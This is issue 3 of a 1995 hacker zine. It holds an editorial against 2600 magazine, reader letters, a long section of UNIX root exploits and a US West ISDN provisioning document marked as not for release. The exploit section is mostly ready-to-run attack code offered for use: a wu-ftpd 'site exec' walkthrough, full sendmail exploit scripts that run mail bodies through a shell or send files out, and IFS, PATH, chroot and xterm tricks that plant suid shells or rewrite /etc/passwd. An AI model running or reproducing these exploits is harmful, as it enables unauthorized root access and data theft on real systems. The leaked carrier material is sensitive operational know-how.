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[ Time For a Change ]
Issue 3 11/10/95
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INTRODUCTION
____________
Well, we are a bit later than we had expected. I had hoped to get issue
3 out the door by the end of april, and here it is, October. Wierd how easy
it is to get off track like that. Anyway, this issue should be considered
to be worth waiting for. (at least I think it is).
This issue we have the second installment of UNIX problems, with a variety
of different exploits, Terminal visits US West and brings us the ultimate
acronym list, and Random explains some ISDN switching items.
As always, send submissions, ideas, questions, complaints and such things to:
bf130@freenet.hsc.colorado.edu
Or on any semi-decent 303 board.
And extra special thanks go to all of you who wrote us with your compliments.
It is because of your praise that this issue exists.
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[ INDEX ]
Editorial: 2600 Meetings............................By: Ghost in the Machine
1. Letters from people..............................By: Ghost in the Machine
2. UNIX problems, for fun and exploit Vol.2.........By: Ghost in the Machine
3. ISDN Single Line Service.........................By: Random
4. US West Acronym List.............................By: Terminal & US West
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TYM - [ A TYM PRODUCTION ] - TYM
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Editorial: 2600 Meetings - Ghost in the Machine
-----------------------------------------------
We in 303 have had a bit of difficulty with our 2600 meetings. I started
the Denver 2600 in October 1994 after living here for 1 month and being totally
bored. It was a democratic setup, all of the people involved with setting up
said meeting voted and revoted on such things as locale/time/place/etc... We
decided that to have the meeting at 2pm on the first SATURDAY of the month
was the best for all. This has come to the test and passed with flying colors.
There are perhaps one or 2 people who Saturday is difficult for, and given that
we have a turnout averaging between 18-25 people each month, that is a small
minority. The meetings recently got to the point where they were beyond our
advertising, and people knew when to be there, where to go, etc... and we had
large turnouts despite the lack of advertising in recent months. We thought it
would be a good idea to become "official" and have Emmanuel print the meeting
in 2600, and then let it coast.
Emmanuel's response was to ignore us completely, AND publish some "guide-
lines" in his magazine. The guidelines included such things as the fact that
one CANNOT HAVE a 2600 meeting on Saturday at 2 or any time/date other than
Friday at approx 5pm.
The only kind of people who can make a meeting at 5pm on a friday are school
kids and/or jobless people. When I lived in Chicago it was nearly impossible
to get to the north side for the meetings by 5pm unless I left at 2. It was
generally grumbled about, but no one ever did anything about it. Here, we did
something about it from the start, and have recieved nothing but friction
from the person who we least expected friction from.
More recently, Terminal spoke with Emmanuel on IRC at some length about this
situation, and was informed that a turnout of 20-25 people was not sufficient
to even warrant a meeting, let alone a SATURDAY meeting. In addition, Random
(who is involved in the Sacramento, CA meets) was moving to change the date
and time of his meeting, and Emmanuel told Terminal that the Sacramento meeting
was dissolved. Not in reality, but in Emmanuel's mind.
These things cannot be totally ignored. Emmanuel thinks that he owns the
name 2600 and that he can do as he pleases with our meetings, regardless of
our own feelings on the matter. *MOST* 2600 meetings have approximately the
same turnout as ours do. I know Chicago did, and that is a metro area of over
9 million people. Denver has 2 million and our meetings are still growing.
Therefore, your meetings are just as insignifigant to him as ours is, and if
you take even the slightest bit of initiative, he will attempt to crush it.
As always, I think that it is Time for a Change, and I suggest that if you
attend some local 2600 meeting, take a vote, see if Saturday (or *ANY* day)
is better, vote among the people that are there, or that come often, and
decide for YOURSELVES when your meeting should be. Also, look at the latest
release of 2600. Then look at the last 4 years (someone in your NPA probably
has a lot of back issues if you don't). 2600 magazine is a piece of complete
trash now. Emmanuel will print anything, and it has ruined an otherwise decent
idea. STOP BUYING IT!
This is merely a suggestion, but if you look at the big picture
here, you will see a disturbing trend on the part of 2600 magazine and
it's editor.
Ghost in the Machine
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Letters, we get letters...
--------------------------
> From: Adam Lenic <adam@mathcs11.haifa.ac.il>
>
> Hi,
> I have got #1 and #2 issues of "Time for a change". I find it very
> interesting and useful (whatever it means by this :-) ). Could you tell
> me where and when I could find next issues online?
> Adam
Well Adam, at this time the main place to get TFC on the net is:
ftp.netcom.com/pub/da/daemon9/Phile/TFC
If anyone has an ftp site that wishes to carry ftp, or a BBS for that matter,
please mail me somewhere and we'll work out the details, and you'll get a
free plug in the next issue. <grin>
gitm
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> From: misha@zeppelin.convex.com (Michael Umansky)
>
> Can you suggest a source of any kind of technical info on cellular stuff?
> thanks
> misha
The best place I've found is Dr. Who's Radio Telephony Archive which is located
at:
http://www.l0pht.com/~drwho/
It has just about everything you could possibly want.
gitm
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> From t3qg@jupiter.sun.csd.unb.ca Fri May 12 16:41:39 1995
>
> Man, I LOVED your article on hacking unix systems! It ruled!
>
> I was wondering if you could tell me where I could get some more recent bugs,
> or perhaps you could send me an updated version of ur phile. (Yes, I get
> all the 8lgm's and read comp.security.unix).
>
> Anyway, just wanted to say how much I loved ur shit. l8r
>
> -GReP
Well, the best place to get recent bugs is to talk to other people or find
them for yourself.
Finding them for yourself is easy if you have a lot of spare time and/or
the source code for the operating system in question.
Getting them from other hackers is hard if you haven't been around for 50
years, married thier sister, and given them 20 pints of blood. Even then it
is no elementary task.
Failing that, subscribe to the bugtraq mailing list:
bugtraq-request@fc.net
put something as a subject, and then in the body of the letter put:
SUBSCRIBE bugtraq <Your email address>
You should get a welcome message shortly, and then you will recieve all the
mail sent to that list. Bugtraq has been pretty tame of late, and I haven't
been subscribed to it for several months, but it is certainly better than
nothing.
gitm
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Time for a Change
presents
UNIX problems, for fun and exploit. Volume 2.
(or how to get root in less than 5 minutes.)
by
Ghost in the Machine
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Here it is. As you may have seen in the first issue, this was to be a 4 part
series. Actually, I would like to retract that statement. It may be 2 parts,
it may be 7. It really depends a lot on what kind of feedback I recieve from
readers. The only reason I am adding a second installment is the incredible
amount of requests I've recieved on the subject.
Again, this is not intended as an article for advanced hackers. Instead it
is an introductory type article aimed toward the beginning to intermediate
hacker. As I have become more and more painfully aware, it's no longer how
much you know (although that does help sometimes) it's what kind of tools you
have. Here are a few more for your toolbox.
For those of you who have been whining that these bugs are old, useless,
and outdated, I have two words for you. Boo Hoo. This column is still the
only one I've seen in an h/p zine with complete bugs of any kind, not to
mention a detailed walkthrough, so until I see some more people putting out
articles like this, I'd advise the whiny types to shut up. (Side note: all
of these are still functional on a GREAT number of machines. Those who don't
know that, apparently don't hack.)
Since most of these bugs do not require walkthroughs, several of them will
simply be the exploit itself.
Basically, here is an example for the format of the file:
<Type of OS, or *NIX for all> (vers) - <Type of bug/hole> - <Comments (if any)>
:
<Exploit Example>
+++++
<Next listing>
------------------------------------------------------------------------------
Linux (all slackware) - wu-ftpd - suid(0) shell - The version of wu-ftpd
distributed with (all present versions of) slackware is vulnerable to the
old "quote site exec bash -c" bug.
:
% telnet loozer.com
Trying 255.255.255.255...
Connected to loozer.com
Escape character is '^]'.
Linux 1.2.8
login: haxor
Password:
% cat > ftpbug.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
main(){
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
}
^D
% cc -o ftpbug ftpbug.c
% logout
Connection closed by foreign host.
% ftp loozer.com
220 loozer.com FTP server (Version wu-2.4(1) Sat Oct 14 22:37:16 MDT 1995) ready.
Name (lozer.com:haxor): haxor
331 Password required for haxor.
Password:
230 User haxor logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
200-bash -c /home/haxor/ftpbug
200 (end of 'bash -c /home/haxor/ftpbug')
ftp> quit
221 Goodbye.
% telnet loozer.com
Trying 255.255.255.255...
Connected to loozer.com
Escape character is '^]'.
Linux 1.2.8
login: haxor
Password:
% /tmp/.sh
#
+++++
SunOS (5.2) - sendmail 8.6.4 - suid(0) shell - Exploit script without walk-
through.
:
----8<--------------------Cut Here----------------------------8<-------------
#!/bin/sh
# exploit new sendmail bug to give us a root shell
# 24 mar 94 jwa/scd @nau.edu
# "short version"
# tested on sunos 5.2/sendmail 8.6.4
# location of sendmail
SENDMAIL=/usr/lib/sendmail
# location of original sendmail.cf file
CONFIG=/nau/local/lib/mail/sendmail.cf
#CONFIG=`strings $SENDMAIL | grep sendmail.cf`
# program to execute as root
SHELL=/bin/csh
TEMPDIR=/tmp/sendbug-tmp.$$
mkdir $TEMPDIR
chmod 700 $TEMPDIR
cd $TEMPDIR
cp $SENDMAIL sm
chmod 700 sm
echo "Creating setid0 ..."
cat > setid.c << _EOF_
/* set uid to zero, thus escaping the annoying csh and solaris sh
* problem..
*
* if (getuid() != geteuid()) {
* printf("permission denied, you root-hacker you.\n");
* exit(1);
* }
*
* .. must be run euid 0, obviously. with no args it runs /bin/sh,
* otherwise it runs the 1st arg.
*/
#include <stdio.h>
main(argc, argv)
int argc;
char *argv[];
{
int uid;
setuid(0);
setgid(0);
seteuid(0); /* probably redundant */
setegid(0);
uid = getuid();
if (uid != 0) {
printf("setuid(0); failed! aborting..\n");
exit(1);
}
if (argc !=2) {
printf("executing /bin/sh...\n");
system("/bin/sh");
}
else
{
printf("executing %s...\n", argv[1]);
system(argv[1]);
}
}
_EOF_
cc -o setid0 setid.c
echo "Creating calc..."
cat > calc.c << _EOF_
/*
* Determines offset in sendmail of
* sendmail.cf file location.
* author: timothy newsham
*/
#include <fcntl.h>
gencore()
{
int pid;
int fd[2];
if(pipe(fd) < 0) {
perror("pipe");
exit(1);
return(0);
}
pid = fork();
if(!pid) {
int f = open("./out", O_RDWR|O_CREAT, 0666);
dup2(f, 1); dup2(fd[0], 0);
close(f); close(fd[1]); close(fd[0]);
execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
perror("exec");
exit(0);
} else {
sleep(2);
kill(pid, 11);
}
close(fd[0]);
close(fd[1]);
}
main(argc,argv)
char **argv;
int argc;
{
unsigned int ConfFile,tTdvect,off;
gencore();
sync(); /* grr. */
tTdvect = find("ZZZZZZZZ", "core");
ConfFile = find(argv[1], "core");
if(!tTdvect || !ConfFile) {
return(1);
}
off = ConfFile - tTdvect;
printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
}
int find(pattern, file)
char *pattern,*file;
{
int fd;
int i, addr;
char c;
fd = open(file, 0);
i = 0;
addr = 0;
while(read(fd, &c, 1) == 1) {
if(pattern[i] == c)
i++;
else
i=0;
if(pattern[i] == '\0') {
addr -= strlen(pattern);
return(addr);
}
addr++;
}
return(0);
}
_EOF_
cc calc.c -o calc
echo "Scanning core image for $CONFIG..."
DEBUGFLAGS=`calc $CONFIG`
echo "Creating alias.sh ..."
echo "#!/bin/sh
# this program will be executed when mail is sent to the fake alias.
# since solaris sh and csh and tcsh refuse to run when euid != realuid,
# we instead run the program we compiled above.
/bin/chmod 6777 $TEMPDIR/setid0
/bin/chown root $TEMPDIR/setid0
/bin/sync
" > alias.sh
chmod 755 alias.sh
echo "Creating fake alias file..."
echo "yash: |$TEMPDIR/alias.sh" > aliases
echo "Faking alias pointer in new config file..."
egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
echo "
# hacks follow
OA/$TEMPDIR/aliases # our fake alias file
Ou0 # user ID to run as
Og0 # group ID " " "
DZWHOOP-v1.0" >> /tmp/sm.cf
echo "Creating the sendmail script..."
cat > sendmail.script << _EOF_
helo
mail from: <nobody>
rcpt to: <yash>
data
yet another sendmail hole? suid whoop?
.
quit
_EOF_
echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
$SENDMAIL $DEBUGFLAGS -bs < sendmail.script
# give it time to execute.
sleep 4
# cleanup in 5 seconds
(sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
if [ -u setid0 ]
then
echo "setid0 is a suid shell. executing..."
cd /
$TEMPDIR/setid0 /bin/csh
echo "end of script."
exit 0
else
echo "setid0 is not suid; script failed."
echo "apparently, you don't have the bug. celebrate :-)"
exit 1
fi
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+++++
UNIX (any) - Sendmail (8.6.9 or earlier) - mail any file to yourself - This
is a shell archive with both local and remote exploits. To unpack it, use
% sh <filename>
:
------8<-------------------Cut Here--------------------8<-------------------
# This is a shell archive. Save it in a file, remove anything before
# this line, and then unpack it by entering "sh file". Note, it may
# create directories; files and directories will be owned by you and
# have default permissions.
#
# This archive contains:
#
# description
# sm869.local
# sm869.remote
#
echo x - description
sed 's/^X//' >description << 'END-of-description'
X
XProgram: sm869.remote
X
Xyou can:
X
X run the body of the mail through a shell if
X sendmail is allowed to run a shell.
X
X write the whole message to a file.
X
X have it send back a file to an account you specify.
X
XThe last option is supposed to remove the file after sending
Xit but I found that it hasn't in my tests. Why? Well
Xit has multiple recipients, one of the recipients is a
Xrecipient that will never go through. So the data file
Xgets kept around until it gives up on that host. This
Xcan be several days.
X
XProblems:
X
X The action you specify will happen every 30minutes (the
X queue time, may be different) until it gives up sending
X to the unreachable host. (Actually this may be false.
X I haven't left it around long enough to see if this happens.
X Perhaps sendmail is smart enough to remove the other recipients
X that did get delievered from the queue file).
X
X If you send a file back to yourself it may get removed
X several days later. If you get the password file or
X some other critical file you had better be ready to clean
X up.
X
X Lots of logs. Its fairly obvious from the log files that
X some hokey pokey is going on. If you're sending a file
X back to yourself then you're pointing a finger at one
X of your accounts
X
XYou have to go into the program to change the options you
Xwant. The code is fairly well commented so this shouldn't
Xbe any problem.
X
XProgram: sm869.local
X
XSame thing as above really except it works even if sendmail
Xdoesnt check identd and you dont have to specify an unreachable
Xhost. The file goes straight to the queue.
X
END-of-description
echo x - sm869.local
sed 's/^X//' >sm869.local << 'END-of-sm869.local'
X#!/bin/sh
X#
X# Exploit hole in sendmail 8.6.9 and earlier.
X#
X
X# Either write a file or run a program.
X#ACTION="|/tmp/runme"
XACTION="/tmp/writeme"
X
X# Data file to read from and then remove
XDATAFILE="/tmp/abc"
X#DATAFILE=""
X
X# Who to run as
XRUNAS="bin"
X
X# Who to send mail to
XWHOAMI=`whoami`
XSENDTO=$WHOAMI
X#SENDTO="someone-else"
X
X# Build up arg and send it off
Xif [ -n "$DATAFILE" ] ; then
XARG="$WHOAMI
XD$DATAFILE
XC:$RUNAS
XR\"$ACTION\""
Xelse
XARG="$WHOAMI
XC:$RUNAS
XR\"$ACTION\""
Xfi
Xsendmail -odq -F"$ARG" $SENDTO << _END_
XThis is appearing in the mailbox
Xand also being piped to the program or
Xwritten to the file, UNLESS you specify
Xa datafile above. In that case the datafile
Xwill be written and erased and this text will
Xbe left (not deleted) in the queue directory.
X_END_
X
END-of-sm869.local
echo x - sm869.remote
sed 's/^X//' >sm869.remote << 'END-of-sm869.remote'
X#!/bin/sh
X#
X# exploit for sm869 or worse
X# identd must not be enabled (port 113 must be free)
X
X# this must be a host that mail can go to (MX not pointing elsewhere)
X# that we cant reach right now (ie. host doesnt exist anymore)
XUNREACHABLE="goofy.uhcc.hawaii.edu"
X
X# Commands to run on remote host
XCOMMANDS="touch /tmp/gotcha"
X
X# what host to run it on
XTARGET="localhost"
X
X# work in a temp dir
XTD=/tmp/.Xwork.$$
Xmkdir $TD
Xcd $TD
X
Xcat > a.c <<_END_
X#include <sys/types.h>
X#include <sys/socket.h>
X#include <netinet/in.h>
X
X/* run body of mail through shell run as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR\"|sed '1,/^$/d'|/bin/sh\"\nHXxx: "
X
X#ifdef other_possibilities
X/* write to a file as daemon */
X#define REPLY "USERID : UNIX : a\nC:daemon\nR/tmp/writeme\nHXxx: "
X/* send back a file to someone and erase it */
X#define REPLY "USERID : UNIX : a\nD/tmp/sendtome\nRmy@address.here\nHXxx: "
X#endif
X
Xreadline(fd, buf, len)
Xchar *buf;
X{
X int i = 0;
X
X while(i < len && read(fd, &buf[i], 1) == 1 && buf[i]) {
X if(buf[i] == '\r' || buf[i] == '\n')
X break;
X i++;
X }
X buf[i] = '\0';
X}
X
Xdie(str)
Xchar *str;
X{
X perror(str); exit(1);
X}
X
Xmain()
X{
X int s, s2, adlen;
X struct sockaddr_in ad;
X char buf[60];
X
X ad.sin_family = AF_INET;
X ad.sin_port = htons(113);
X ad.sin_addr.s_addr = INADDR_ANY;
X if((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) die("socket");
X if(bind(s, (struct sockaddr *)&ad, sizeof(ad)) == -1) die("bind");
X if(listen(s, 1) == -1) die("listen");
X adlen = sizeof(ad);
X s2 = accept(s, (struct sockaddr *)&ad, &adlen);
X if(s2 == -1) die("accept");
X printf("Connection from %s port %d\n",
X inet_ntoa(ad.sin_addr), ntohs(ad.sin_port));
X readline(s2, buf, 50);
X sprintf(buf + strlen(buf), " : %s\n", REPLY);
X write(s2, buf, strlen(buf));
X}
X_END_
X
X# compile program
Xecho "compiling"
Xcc a.c -o ident
Xecho "running fake ident"
X./ident &
X
X# send to reomte
Xecho "talking to remote"
X(
X sleep 1; echo "helo"
X sleep 1; echo "mail from: <dan>"
X sleep 1; echo "rcpt to: <bounce@$UNREACHABLE>"
X sleep 1; echo "data"
X echo "$COMMANDS"
X echo "."
X sleep 1; echo "quit"
X sleep 5
X) | telnet $TARGET 25
X
X# cleanup
Xcd /
Xrm -rf $TD
Xecho "done."
X
END-of-sm869.remote
exit
--------8<----------------Cut Here-----------------------8<-----------------
SunOS (4.1.X) - loadmodule - IFS bug/suid(0) shell - This is a nice, simple,
(need I say, old?) bug.
:
cat > ~/bin/bin
#!/bin/sh
sh -i
^D
% chmod 755 ~/bin/bin
% setenv IFS /
% /usr/openwin/bin/loadmodule /sys/sun4c/OBJ/evqmod-sun4c.o /usr/openwin/modules/evqload
#
+++++
Unixware (?) - shl - suid(0) shell - Another small quick root exploit.
:
$ PATH=.:$PATH ; export PATH
$ cat > shell
#!/bin/sh
cp /bin/sh /tmp/.sh
chown root.root /tmp/.sh
chmod 6777 /tmp/.sh
^D
$ chmod 700 shell
$ SHELL=shell ; export SHELL
$ shl
>>> create ladadedah
^D
>>> quit
$ /tmp/.sh
#
+++++
Linux (sw 2.0.1 and earlier), IRIX (?) - vadmin - suid(0) shell
:
% cat > /tmp/ls
#!/bin/sh
cp /bin/sh /tmp/foo
chmod 4777 /tmp/foo
^D
% chmod 755 /tmp/ls
% cd /tmp
% set PATH=( . $PATH )
% /usr/lib/vadmin/serial_ports
(this will take a while)
% /tmp/foo
#
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Ultrix (?) - chroot - suid(0) shell
:
% cd $HOME
% mkdir root
% cd root
% mkdir bin etc usr
% cd bin
% cp /bin/sh sh
% cp /bin/su su
% cp /bin/chmod chmod
% cp /bin/chown chown
% cd ../etc
% cp /etc/passwd.orig passwd
% cp /etc/group group
% vi passwd {modify root password to root::0:0, etc}
% cd ..
% chroot $HOME/root /bin/sh
% su
# chown root /bin/sh
# chmod 2755 /bin/sh
# chmod ugo+s /bin/sh
# exit
% exit
{now you're back in the original process}
% $HOME/root/bin/sh
#
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SunOS (?) - xterm logging bug - suid(0) shell
:
% mkdir foo
% ln -s /etc/passwd foo/xl
% chmod 200 foo
% ln -s /bin/sh /tmp/ss^M <- This is a real CR
% xterm -l -lf foo/xl -e echo "r00t::0:1::/:/tmp/ss"
% rlogin localhost -l r00t
#
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SunOS (?) - xterm - suid(0) shell
:
% cat >! /tmp/fofo
newroot::0:0:The New Superuser on the block:/:/bin/csh
^D
% xterm -l -lf /etc/passwd -e cat /tmp/fofo
% su newroot
#
+++++
That should about do it for now. Thanks be to Pluvius, bloot, and
any others who were responsible for discovering (and/or writing exploits for)
these bugs.
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Time for a Change
presents
ISDN Single Line Service
by: Random [TYM]
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This document cannot be issued upon request. !!! TOP SECRET Motha fucka !!!
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Single Line Service is a digital service that provides integrated voice/data
over a 2-wire customer facility, utilizing N1-2 technology and the public
switched network. The service offering distributes voice and/or data over a
Basic Rate ISDN interface of 2B+1D channels.
* Single Line Service Provisioning USOC: (Universal Service Order Code)
The Interface and Loop combination equals the Basic Rate Service (BRS). The
interface and loop provisions for the facility from the customer's premises
to the Central office/switch. The provisioning USOC is listed below.
N2Q - (U Interface) 2-wire interface on non-loaded loop, with
distant limitations with 2B1Q Line Coding. This the DSL (Digital
Subscriber Line) which may be reffered to as either a DSL, pipe
or loop.
* Single Line Service Standard Package:
The Customer can have up to six call appearances per terminal. At least one
call appearance must be a Primary Directory Number (PDN). The first or main
Directory number on a terminal is referred to as a "Primary Directory Number
(PDN)." It is always assigned as Call Appearance button 1.
Each terminal is assigned one PDN. As part of the Standard Packages for
Single Line Service ISDN Service, a customer can have up to two terminals
(each with a PDN) per DSL. Other call appearances can be any combination of:
* Analog Call Appearance
* One Primary Directory Number and Additional Appearances of PDN
(maximum five call appearances)
* One Secondary Directory Number (SDN) with (maximum of four call
appearances)
* Shared Directory Number (maximum two)
Additional call appearances are available at rates and charges specified in
Optional Features and Functions.
* Standard Feature Package USOC - Billing Only
BMEHB - (voice and data 2B+d)
* Single Line Service Logical Terminal Type USOC's:
Single Line Service uses logical terminals (Smart Telephones) that are
manufactured to specifically work with NI-2 Technology. These terminals
include buttons for lines (call appearances) and features.
One of the following USOC's would appear on the Single Line Service order
for the services working off of the DSL.
LNM1X - Single Line Service provisioning USOC. (Voice and Data
[handle like LTQ1X])
LTH4X - Provisioning USOC for the Voice and Data package. D-Channel
Packet USOC for flat rate. (Handle like LTQ4X)
* Secondary Directory Number USOC:
MO6 - First time the number appears, but is not Primary Directory
Number (PDN)
* Additional Call Appearance USOC's:
DO8 - Shared Call Appearance of a Primary Number (LNM1X).
MAZ - Analog termination on an ISDN station.
The following is a complete list of USOC's and FID's used with Single Line
Service. This list includes USOC's and FID's associated with the Custom
Calling Features (CCF), billing USOC's and line assignable USOC's.
FID's: The FID's associated with Single Line Services are Listed Below.
This list is not intended to be an all inclusive list; however, it includes
the FID's the LPC should be aware of.
BS - Bearer Service defines the channel capabilities. This FID
describes what each B and D channel is capable of for 2B+D.
Elements:
B Channels
------------
DMD = On Demand Service, for Circuit Switched Voice and Data.
D Channels
------------
D channel possible entries:
SX = X.25 Packet Switching and/or Q.931 Signaling.
The Single Line Service will be:
/BS DMD DMD SX (2B+D)
NOTE: The SWITCH system interputs the FID BS to assign the B and D channel
POE(s).
CAPP - Call Appearance - CAPP indicates a call designation on a multiple
appearance terminal for primary and secondary line numbers, or
Multiline Hunt Group terminal numbers served by a 5ESS. The CAPP FID
is required on 5ESS orders.
CAPP indicates the button numbers the line terminates on, the number
of appearances on the terminal, if the manual exclusion is required,
and the ringing pattern.
The button number of the first appearance is indicated after CA.
The number of appearances on the same terminal is indicated after
NBR.
CA and NBR are attributes the LPC is concerned with.
USOC/CAPP CA.1, NBR.3,
The CA indicates the key appearance on the ISDN set and NBR
indicates the number of times it appears on the set, which is
3 times. The First three keys on the ISDN set has the same TN
(Telephone Number) The TN appears on key 1, 2, and 3.
Call appearances for the voice and data packages (e.g. LNM1X/LTH1X,
LNM5X, LTH5X) USOC's are maintained and processed in the SWITCH
system. The FID CAPP which follows the USOC's indicates the key
appearances. The Key appearance is indicated in SWITCH as KPI (Key
Position Indicator). The SVCID when the CAPP is present behind
these USOC's equals the NPA+PN+KPI.
CLS - Common Language Circuit Indentification (CLCI). Voice and Circuit
Switched Data and Packet.
The ISDN pipe is not dependent on a telephone number. A serial
number common language is used for indentification.
Data is: Service Code IB and Modifier is SA.
Example: 29.IBSA.444678..MS
Each packet device has its own CLS (not the same as the CLS of the
pipe).
Data is: Service Code QS and Modifier is ZA.
Example: 29.QSZA.444678..MS
CSO - Circuit Switched Channel Options - identifies which channels support
circuit switched voice or data.
Data is: CSV.X (Circuit Switched Voice) where X is 0-2 indicating:
0 = Voice not supported
1 = Voice on B channel
CSVC.XXX (Circuit Switched Voice Channel) where XXX is:
ANY = Either Channel
NO = None
CSD.X (Circuit Switched Data) where X is 0-2 indicating:
0 = Data not supported
1 = Data on 1 B Channel
2 = Data on both B Channels
CSDC.XXX (Circuit Switched Data Channel)
ANY = Either Channel
NO = None
Example: LNM1X 2B+D
/CSO CSV.1, CSVC.ANY, CSD.2, CSDC.ANY
This is only an example if voice and data are requested, a common use of the
2B+D is for data only.
Example: LNM1X (2B+D)
/CSO CSV.0, CSVC.NO, CSD.2, CSDC.ANY
The data values of MP and PP are only applicable for Custom ISDN.
DCLS - Digital Subscriber Line (DSL) Class of Service - Single Line
Service NI-2 supports a standard DSL which can support from one up
to 8 actual devices on a DSL.
Data is: STD
Single Line Service is always:
Example: /DES DCLS STD
The FID DCLS will be used following the FID DES until the systems
can handle the STD Data. This method will be updated when it is no
longer necessary to use the DES.
DSNA - Digital Services Network Assignment - DSNA is the common language
of the DSL associated with this service. It is used to identify on
which DSL various services work. The SWITCH system read reads this
FID to associate the services to the pipe.
The DSNA is the same as the CLS on the DSL.
DSNA should appear on all USOC's, except for N2Q and the Optional
feature USOC's.
Example: DSNA 20.IBSA.002268..MS
DTN - Data Terminal Number. DTN is used to denote the data terminal
number for dialing. DTN follows the USOC's LNM4X. (Could be the
same number as the PDN, depending on the CPE requirement.)
MADN - Multiple Appearance of a Telephone Number - MADN is used to denote
whether a shared number is the primary appearance or a subsequent
appearance. The FID MADN P is always used on a LNM1X that appears
on another terminal (it would be a DO8 on the other terminal).
MAXB - Maximum B Channel Packet Users - indicates the maximum number of
B packet users that will be on the DSL. A customer can have up to
eight terminals on one DSL.
MDPK - Maximum D Channel Packet Users - indicates the maximum number of
D packet users that will be on the DSL. A customer should specify
the exact number of devices and not the MAX of 8 if this is not
true.
Data is: 0-8 (number of devices)
Example: /MDPK 2 (2B+D entry)
/MDPK 0 (2B+S entry)
MTER - Maximum Number of Terminals - indicates the maximum number of
terminals on a DSL. This includes both the circuit and packet
switched devices. A customer should specify the exact number of
devices and not use the MAX of 8 if this is not true.
Data is: 0-8 (number of devices)
Example: /MTER 2
PN - Primary Number - PN is the first Directory/Telephone number assigned
to a terminal.
SPID - Service Profile Identifier - The SPID ties together the multiple
funtions a terminal is capable of providing. The SPID is the
primary number of each terminal on a DSL (both circuit & packet
terminals). If the customer's Terminal Type A is being used for
circuit switched data simultaneously on both B channels, ask if
two SPID's are required. If two SPID's are required two LNM1X/LTH1X
USOC's will be needed each with a new PDN.
With NI-2 the customer and/or the technicians, whomever is programing
the customer's SPID, must put in at least twelve digits.
RCMAC is only required to put in 10.
The recommended standard SPID format is:
For terminal type A or C.
XY-XXX-XXXX-0-XX
Where XY:
X = 0 (SPID is TN format)
Y = 1 (Circuit Switched)
Y = 2 (Packet Switched)
Where XXX-XXXX:
XXX = Telephone number prefix
XXXX = Line Number Format
Where 0:
0 = numeric 0's are used as the Network Address Type for
NI-2.
Where XX:
XX = 2 Digit Sharing Terminal ID. Terminal Type C.
Data is 00-62 this number can be assigned by the
customer if they choose or by the originator.
Where XX:
XX = 2 Digit Non-sharing Terminal ID. Terminal Type A.
Data is 00-62 this number can be assigned by the
customer if they choose or by the originator.
If a device is capable of more than one function, the SPID that is
used depends on the hierarchy. For example, let's say a device is
capable of circuit switched voice and data, and packet. Because it
is one device, the SPID would be the same for both devices and the
circuit switched SPID would be used because it is higher in the
hierarchy than packet switched.
For a Terminal Type C. Example:
/SPID 01-345-3456-0-01 (Circuit-Switch TN format)
/SPID 03-345-8765-0-01 (D Packet-Switch TN format),
if no circuit switched voice or data is requested.
/SPID 01-345-3456-0-01 (Circuit Switch TN and packet)
For a Terminal Type A. Example:
/SPID 01-345-3456-0-00 (Circuit-Switch TN format)
/SPID 03-345-8765-0-00 (D Packet-Switch TN format),
if no circuit switched voice or data is requested.
/SPID 01-345-3456-0-00 (Circuit Switched TN and packet)
If a customer requires all 20 digits, depending on their CPE, the
following format examples are used.
/SPID 013453456012345678-62 (Terminal Type A)
/SPID 013453456012345678-00 (Terminal Type C)
The customer will provide the information after the telephone number
and before the dash.
RMA TYPE: C001-420: Order held in manual assistance file. Successful
transaction requires COSMOS manual input. The Single Line
Service order will flow through LFACS and SWITCH. The RMA
notice is for COSMOS only.
MANUAL TRIGGER REASON:
0420: Order Level Manual Assistance
RMA Reason is USOC N2Q
RMA Reason is USOC LNM1X
The service order could fall out at LFACS for no loop available pairs.
If the order falls out at LFACS for no loop qualified pairs, the PLA
must refer this to the Facility Specialist for loop qualified pairs.
Basic ISDN will flow through LFACS and SWITCH, but RMA at COSMOS.
RESOLUTION:
Manual establishment is required in COSMOS via the COSMOS shell programs
ADD-PIPE and ADD-TERM.
DESCRIPTION:
Single Line Service is a digital service that provides an integrated
voice/data capability over the customers 2-wire facility utilizing NI-2
technology and the public switched network.
The NI-2 technology provides a digital network architecture which provides
both a voice connection and a high low speed data connection simultaneously
over existing telephone lines (twisted pair). These telephone lines are
called Digital Subscriber Lines (DSL) and also referred to as the Pipe.
The DSL between the customers premises and the central office is the Basic
Rate Service (BRS) 2B+D.
The DSL has a transmission rate of 144 Kbps (Kilobits per second) divided
into three channels. There are two "B" channels capabile of 64 Kbps each
and one "D" channel used for signaling and packet switched service.
Each B channel is capable of:
- Circuit Switched Voice
- Circuit Switched Data
The D channel is capable of:
- Signaling (Q.931 protocol)
- Packet Data (X.25 protocol)
Single Line Service offers three types of applications. They are:
- voice only
- voice and data (includes circuit switched voice, data and/or packet
switched data)
- data only (includes circuit switched data and/or packet switched data)
BASIC RATE SERVICE (BRS):
The BRS consists of up to three distinct channels on one pair of wires; one
or two B (Bearer) channels and a D (Delta) channel. BRS is offered on either
an Individual Case Basis (ICB) or in a packaged offering referred to as U S
WEST Single Line Service. U S WEST Single Line Service is available on a
measured rate basis.
B (Bearer Channel - The B channel carries circuit switched voice and/or data
communications and packet switched data communications at speeds of up to
64Kbps, from the customer premises over the loop facility, to the central
office.
D (Delta) Channel - The D channel carries signaling and/or packet switched
data communications at speeds up to 16Kbps on Basic Rate Interface and up
to 64Kbps on Primary Rate Interface, from the customer premises to the
central office. The D channel has both data and signaling functionality.
Primary Rate Interface (PRI):
PRI has a capacity of 1.544 megabits per second (Mbps). There are twenty-
three B channels and one D channel, known as 23B+D access. The B channels
carry the circuit switched and packet data communications while the D
channel carries the signaling information. The Primary Rate Interface is
only available by individual case bases (ICB).
SERVICE ORDER ISSUANCE:
